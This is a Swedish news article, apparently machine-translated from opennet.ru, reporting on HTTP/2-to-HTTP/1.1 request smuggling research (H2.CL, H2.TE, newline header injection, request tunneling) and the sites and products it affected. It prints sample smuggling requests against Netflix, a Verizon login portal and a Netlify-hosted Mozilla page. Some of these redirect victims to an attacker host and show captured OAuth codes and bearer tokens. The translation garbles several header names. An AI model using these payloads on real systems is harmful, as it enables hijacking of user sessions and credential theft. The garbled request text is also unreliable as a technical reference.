En ny attack mot front-end-backend-system som låter dig kila in i förfrågningar

Webbsystem där frontend accepterar anslutningar via HTTP/2 och överför dem till backend via HTTP/1.1 har utsatts för en ny variant av attacken "HTTP Request Smuggling", som gör det möjligt att, genom att skicka specialdesignade klientförfrågningar, att kila in i innehållet i förfrågningar från andra användare som behandlas i samma flöde mellan frontend och backend. Attacken kan användas för att infoga skadlig JavaScript-kod i en session med en legitim webbplats, kringgå åtkomstbegränsningssystem och avlyssna autentiseringsparametrar.

Problemet påverkar webbproxies, lastbalanserare, webbacceleratorer, innehållsleveranssystem och andra konfigurationer där förfrågningar omdirigeras på ett front-end-to-backend-sätt. Författaren till studien visade möjligheten att attackera systemen för Netflix, Verizon, Bitbucket, Netlify CDN och Atlassian, och fick 56 tusen dollar i belöningsprogram för att identifiera sårbarheter. Problemet har också bekräftats i F5 Networks produkter. Problemet påverkar delvis mod_proxy i Apache http-servern (CVE-2021-33193), en fix förväntas i version 2.4.49 (utvecklarna meddelades om problemet i början av maj och fick 3 månader på sig att fixa det). I nginx blockerades möjligheten att samtidigt ange rubrikerna "Content-Length" och "Transfer-Encoding" i den senaste versionen (1.21.1). Attackverktyg ingår redan i Burp-verktygslådan och finns i form av Turbo Intruder-tillägget.

Funktionsprincipen för den nya metoden att kila in förfrågningar i trafik liknar den sårbarhet som identifierades av samma forskare för två år sedan, men begränsad till frontends som accepterar förfrågningar över HTTP/1.1. Låt oss komma ihåg att i frontend-backend-schemat tas klientförfrågningar emot av en extra nod - frontend, som upprättar en långlivad TCP-anslutning med backend, som direkt behandlar förfrågningar. Genom denna gemensamma anslutning sänds vanligtvis förfrågningar från olika användare, som följer kedjan efter varandra, åtskilda med hjälp av HTTP-protokollet.

Den klassiska "HTTP Request Smuggling"-attacken baserades på det faktum att frontends och backends tolkar användningen av HTTP-headers "Content-Length" (bestämmer den totala storleken på data i begäran) och "Transfer-Encoding: chunked" (tillåter data som ska överföras i delar) annorlunda. . Om t.ex. gränssnittet bara stöder "Content-Length" men ignorerar "Transfer-Encoding: chunked", kan en angripare skicka en begäran som innehåller både "Content-Length" och "Transfer-Encoding: chunked", men storleken är "Content-Length" matchar inte storleken på den bitade kedjan. I det här fallet kommer frontend att bearbeta och omdirigera begäran i enlighet med "Content-Length", och backend kommer att vänta på att blockeringen är klar baserat på "Transfer-Encoding: chunked" och den återstående svansen av angriparens begäran kommer att vara i början av någon annans begäran som sänds härnäst.

Till skillnad från textprotokollet HTTP/1.1, som tolkas på linjenivå, är HTTP/2 ett binärt protokoll och manipulerar datablock av en fördefinierad storlek. Men HTTP/2 använder pseudo-headers som motsvarar vanliga HTTP-headers. I fallet med interaktion med backend via HTTP/1.1-protokollet, översätter frontend dessa pseudo-headers till liknande HTTP-headers HTTP/1.1. Problemet är att backend fattar beslut om att analysera strömmen baserat på HTTP-huvudena som ställts in av frontend, utan att ha information om parametrarna för den ursprungliga begäran.

I synnerhet kan värdena "content-length" och "transfer-encoding" överföras i form av pseudo-headers, trots att de inte används i HTTP/2, eftersom storleken på all data bestäms i ett separat fält. Men under processen att konvertera en HTTP/2-begäran till HTTP/1.1 överförs dessa rubriker och kan förvirra backend. Det finns två huvudsakliga attackvarianter: H2.TE och H2.CL, där backend-enheten vilseleds av ett felaktigt överföringskodnings- eller innehållslängdvärde som inte motsvarar den faktiska storleken på begärandekroppen som tas emot av frontend via HTTP/2-protokoll.

En ny attack mot front-end-backend-system som låter dig kila in i förfrågningar

Ett exempel på en H2.CL-attack är att ange en felaktig storlek i pseudo-headern för innehållslängd när du skickar en HTTP/2-förfrågan till Netflix. Denna begäran leder till tillägg av en liknande HTTP-rubrik Content-Length vid åtkomst till backend via HTTP/1.1, men eftersom storleken i Content-Length är specificerad mindre än den faktiska, bearbetas en del av data i svansen som början av nästa begäran.

Begär till exempel HTTP/2 :method POST :sökväg /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Kommer att resultera i att en begäran skickas till backend: POST /n HTTP/1.1 Värd: www.netflix.com Innehållslängd: 4 abcdGET /n HTTP/1.1 Värd: 02.rs?x.netflix.com Foo: bar

Eftersom Content-Length har ett värde på 4, kommer backend endast att acceptera "abcd" som texten i begäran, och resten av "GET /n HTTP/1.1..." kommer att behandlas som början på en efterföljande begäran kopplad till en annan användare. Följaktligen kommer strömmen att bli avsynkroniserad och som svar på nästa begäran kommer resultatet av behandlingen av dummybegäran att utfärdas. När det gäller Netflix, angav en tredjepartsvärd i rubriken "Host:" i en dummy-förfrågan att klienten returnerade svaret "Location: https://02.rs?x.netflix.com/n" och tillåtet att godtyckligt innehåll skickas till klienten, inklusive Kör din JavaScript-kod i sammanhanget för Netflix-webbplatsen.

Det andra attackalternativet (H2.TE) innebär att "Transfer-Encoding: chunked"-huvudet ersätts. Användningen av pseudohuvudet för överföringskodning i HTTP/2 är förbjudet enligt specifikationen och förfrågningar med den är föreskrivna att behandlas som felaktiga. Trots detta tar vissa frontend-implementeringar inte hänsyn till detta krav och tillåter användning av en överföringskodande pseudo-header i HTTP/2, som konverteras till en liknande HTTP-rubrik. Om det finns en "Transfer-Encoding"-header kan backend ta den som en högre prioritet och analysera data bit för bit i "chunked"-läge med block av olika storlekar i formatet "{size}\r\n{block }\r\n{storlek} \r\n{block}\r\n0", trots den initiala uppdelningen efter total storlek.

Förekomsten av en sådan lucka demonstrerades av exemplet Verizon. Problemet gällde autentiseringsportalen och innehållshanteringssystemet, som även används på sajter som Huffington Post och Engadget. Till exempel, en klientförfrågan via HTTP/2: :metod POST :sökväg /identitfy/XUI :authority id.b2b.oath.com överföringskodning chunked 0 GET /oops HTTP/1.1 Värd: psres.net Innehållslängd: 10 x=

Resulterade i att skicka en HTTP/1.1-förfrågan till backend: POST /identity/XUI HTTP/1.1 Värd: id.b2b.oath.com Innehållslängd: 66 Överföringskodning: chunked 0 GET /oops HTTP/1.1 Värd: psres. nettoinnehåll- Längd: 10x=

Backend ignorerade i sin tur rubriken "Content-Length" och utförde in-stream-delning baserat på "Transfer-Encoding: chunked". I praktiken gjorde attacken det möjligt att omdirigera användarförfrågningar till deras webbplats, inklusive avlyssning av förfrågningar relaterade till OAuth-autentisering, vars parametrar visades i referenshuvudet, samt simulera en autentiseringssession och trigga användarens system att skicka inloggningsuppgifter till angriparens värd. GET /b2blanding/show/oops HTTP/1.1 Värd: psres.net Referens: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Värd: psres.net Auktorisering: Bärare eyJhcGwiOiJIUzI1Gi1sInR6cCI6...

För att attackera HTTP/2-implementeringar som inte tillåter att överföringskodnings-pseudo-headern specificeras, har en annan metod föreslagits som innebär att "Transfer-Encoding"-huvudet ersätts genom att bifoga det till andra pseudo-headers separerade med ett nyradstecken ( när den konverteras till HTTP/1.1 i detta fall skapas två separata HTTP-rubriker).

Till exempel påverkades Atlassian Jira och Netlify CDN (som används för att tjäna Mozillas startsida i Firefox) av detta problem. Specifikt HTTP/2-begäran :method POST :sökväg / :authority start.mozilla.org foo b\r\n överföringskodning: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Värd : evil-netlify-domän\r\n Innehållslängd: 5\r\n \r\nx=

resulterade i att HTTP/1.1 POST/HTTP/1.1-begäran skickades till backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Värd: evil-netlify-domän\r\n Innehållslängd: 5\r\n \r \nx=

Ett annat alternativ för att ersätta rubriken "Transfer-Encoding" var att bifoga den till namnet på en annan pseudo-header eller till en rad med en begäranmetod. Till exempel, vid åtkomst till Atlassian Jira, gjorde pseudohuvudnamnet "foo: bar\r\ntransfer-encoding" med värdet "chunked" att HTTP-rubrikerna "foo: bar" och "transfer-encoding: chunked" lades till , och angivande av pseudo-header ":method"-värdet "GET / HTTP/1.1\r\nTransfer-encoding: chunked" översattes till "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Forskaren som identifierade problemet föreslog också en begäran tunneling-teknik för att attackera frontends, där varje IP-adress upprättar en separat anslutning till backend och trafik från olika användare inte blandas. Den föreslagna tekniken tillåter inte att störa förfrågningar från andra användare, men gör det möjligt att förgifta en delad cache som påverkar behandlingen av andra förfrågningar, och tillåter ersättning av interna HTTP-rubriker som används för att överföra tjänstinformation från frontend till backend ( till exempel vid autentisering på frontend-sidan i Sådana rubriker kan överföra information om den aktuella användaren till backend). Som ett exempel på att tillämpa metoden i praktiken, med hjälp av cacheförgiftning, var det möjligt att få kontroll över sidor i tjänsten Bitbucket.

Källa: opennet.ru

Lägg en kommentar